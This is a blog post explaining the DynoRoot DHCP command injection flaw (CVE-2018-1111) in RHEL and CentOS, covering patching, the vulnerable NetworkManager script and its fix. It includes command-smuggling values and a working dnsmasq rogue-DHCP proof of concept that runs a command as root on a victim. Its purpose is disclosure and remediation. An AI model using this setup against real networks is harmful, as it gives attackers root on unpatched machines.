CVE-2018-1111: DHCP command injection

A few days ago Red Hat patched a serious DHCP client vulnerability, the official reference is CVE-2018-1111, however it's also referred to as DynoRoot. The flaw affects Red Hat Enterprise Linux and CentOS systems using NetworkManager, which has been configured to obtain network configuration via DHCP.

A malicious DHCP server on the local network can exploit this vulnerability to gain full root access! If you have any CentOS or RHEL systems which use DHCP, make sure you patch them as soon as possible.

Patching affected systems

Thankfully fixing vulnerable systems is very straightforward, just update the dhclient package:

yum update -y dhclient

Once the package is updated you can check which version you have installed using the rpm command:

$ rpm -q dhclient
dhclient-4.2.5-68.el7.centos.1.x86_64

The exact package will vary, Red Hat have a full list of applicable security errata, and package versions in their CVE-2018-1111 database entry. It's also possible to check the RPM change log for the fix:

$ rpm -q --changelog dhclient | grep CVE-2018-1111
- Resolves: #1570898 - Fix CVE-2018-1111: Do not parse backslash as escape character

Hopefully any systems you manage should now be patched, the rest of this post is going to go into how the vulnerability works, and what was patched to fix it.

The vulnerable script

NetworkManager executes several dispatcher scripts in response to network events, such as an interface being assigned an IP address via DHCP. On CentOS 7 the vulnerable script, /etc/NetworkManager/dispatcher.d/11-dhclient contains the following lines:

eval "$(
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done
)"

If the network connection used DHCP for address configuration, the received options are passed to the dispatcher script via environment variables prefixed with DHCP4_, for example:

DHCP4_HOST_NAME=foobar

The 11-dhclient script then uses parameter expansion to set optname and optvalue variables to something similar to the following:

optname=new_host_name
optval=foobar

Finally export $optname=$optvalue is evaluated for each set of variables. A good way to get a feel for how this works is to play with the following script:

#!/bin/bash
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

Running this with environment variables set works as expected:

$ DHCP4_HOST_NAME=foobar ./example.sh
export new_host_name=foobar

Unfortunately adding a single quote followed by a semi colon makes it possible to add commands after the export command:

$ DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh
export new_host_name='foobar'''; whoami #'

The extra command will then be run after the export command is evaluated:

$ eval "$(DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh)"
root

In the NetworkManager dispatcher script, DHCP4_ variables are taken directly from the remote DHCP server, consequently they can be used to run arbitrary commands.

Exploiting the vulnerability

Using the information above, it's relatively straightforward to setup a proof of concept using dnsmasq:

dnsmasq \
  --no-daemon \
  --interface=enp0s3 \
  --bind-interfaces \
  --except-interface=lo \
  --dhcp-range=192.168.100.10,192.168.100.20,1h \
  --conf-file=/dev/null \
  --dhcp-option=6,192.168.100.1 \
  --dhcp-option=3,192.168.100.1 \
  --dhcp-option="252,x'; touch /tmp/dynoroot #"

The command above will run a DHCP server and wait for DHCP requests:

dnsmasq: started, version 2.76 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt DBus no-i18n IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCP, IP range 192.168.100.10 -- 192.168.100.20, lease time 1h
dnsmasq-dhcp: DHCP, sockets bound exclusively to interface enp0s3
dnsmasq: no servers found in /etc/resolv.conf, will retry
dnsmasq: read /etc/hosts - 2 addresses

Any vulnerable hosts which sent a DHCP request to the server will be sent a response:

dnsmasq-dhcp: DHCPREQUEST(enp0s3) 192.168.100.13 08:00:27:62:41:2c
dnsmasq-dhcp: DHCPACK(enp0s3) 192.168.100.13 08:00:27:62:41:2c victim

The vulnerable host will then parse the DHCP options and execute touch /tmp/dynoroot:

[root@victim]# ls /tmp/dynoroot
/tmp/dynoroot

This example is relatively harmless, however the payload could obviously be changed.

Fixing the script

Fixing the vulnerable script is actually very straightforward, below is a fixed version of example.sh:

#!/bin/bash
declare | LC_ALL=C grep '^DHCP4_[A-Z_]*=' | while read -r opt; do
    optname=${opt%%=*}
    optname=${optname,,}
    optname=new_${optname#dhcp4_}
    optvalue=${opt#*=}
    echo "export $optname=$optvalue"
done

The only change made to the script above was adding the -r option to read. This does the following:

Backslash does not act as an escape character. The backslash is considered to be part of the line. In particular, a backslash-newline pair may not be used as a line continuation.

Once backslashes are no longer treated as escape characters, it's no longer possible to terminate the export command:

$ DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh
export new_host_name='foobar'''; whoami #'

$ eval "$(DHCP4_HOST_NAME="foobar'; whoami #" ./example.sh)"
$ echo $new_host_name
foobar'; whoami #